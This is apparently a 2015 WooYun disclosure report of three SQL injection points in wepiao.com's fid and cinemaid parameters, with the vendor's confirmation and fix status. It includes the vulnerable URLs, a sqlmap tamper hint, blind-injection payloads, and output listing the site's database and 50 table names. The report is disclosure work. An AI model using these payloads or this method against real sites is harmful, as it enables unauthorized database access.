当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0121306

漏洞标题:微影时代SQL注入打包

相关厂商:wepiao.com

漏洞作者: 路人甲

提交时间:2015-06-18 12:11

修复时间:2015-08-02 12:24

公开时间:2015-08-02 12:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-18: 细节已通知厂商并且等待厂商处理中
2015-06-18: 厂商已经确认,细节仅向厂商公开
2015-06-28: 细节向核心白帽子及相关领域专家公开
2015-07-08: 细节向普通白帽子公开
2015-07-18: 细节向实习白帽子公开
2015-08-02: 细节向公众公开

简要描述:

RT

详细说明:

三处注入打包
注入点1:

http://www.wepiao.com/?a=filmdetail&c=film&m=web&fid=5452


fid参数
注入点2:

http://www.wepiao.com/?a=cinemadetailshow&c=cinema&m=web&cinemaid=1002069


cinemaid参数
注入点3:

http://www.wepiao.com/?a=seatinfo&c=film&mpid=5574e033ba8e7fbb7d8b56f5&scheid=&m=web&cinemaid=1002069&hid=8&fid=5577


cinemaid=1002069参数
sqlmap证明下:需要加参数--tamper=space2comment

1.jpg

漏洞证明:

sqlmap identified the following injection points with a total of 169 HTTP(s) requests:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web application technology: PHP 5.4.35
back-end DBMS: MySQL 5.0.12
current user: 'app_weiying@%'
current database: 'app_weiying'
current user is DBA: False
available databases [3]:
[*] app_weiying
[*] information_schema
[*] test
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
back-end DBMS: MySQL 5.0.12
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: a=filmdetail&c=film&m=web&fid=5452' AND 1072=1072 AND 'VGcO'='VGcO
Vector: AND [INFERENCE]
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: a=filmdetail&c=film&m=web&fid=5452' AND SLEEP(5) AND 'BSKe'='BSKe
Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---
web application technology: PHP 5.4.35, Nginx
back-end DBMS: MySQL 5.0.12
Database: app_weiying
[50 tables]
+-----------------------------+
| !omment_like |
| comment |
| comment_reply |
| film_seen |
| film_want |
| t_weiying_banner |
| t_weiying_order |
| weiying_active |
| weiying_activites |
| weiying_ad |
| weiying_admin |
| weiying_admin_panel |
| weiying_admin_role |
| weiying_admin_role_priv |
| weiying_area |
| weiying_certificate |
| weiying_cinema |
| weiying_city |
| weiying_code |
| weiying_copywriting |
| weiying_device |
| weiying_evallike |
| weiying_evaluation |
| weiying_fctable |
| weiying_feedback |
| weiying_film |
| weiying_grouponticket_order |
| weiying_groupticket |
| weiying_hall |
| weiying_menu |
| weiying_notice |
| weiying_order |
| weiying_order_stream |
| weiying_paytemp |
| weiying_poster |
| weiying_praise |
| weiying_preuve |
| weiying_reply |
| weiying_sche |
| weiying_scheseat |
| weiying_scheseat_new |
| weiying_seats |
| weiying_see |
| weiying_show |
| weiying_tagephoto |
| weiying_ticket |
| weiying_token |
| weiying_user |
| weiying_versions |
| weiying_webad |
+-----------------------------+


证明即可,就不继续深入了

修复方案:

参数过滤,尽快修复吧

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-06-18 12:22

厂商回复:

我们尽快修复,谢谢。

最新状态:

2015-07-19:已修复,非常感谢。


漏洞评价:

评论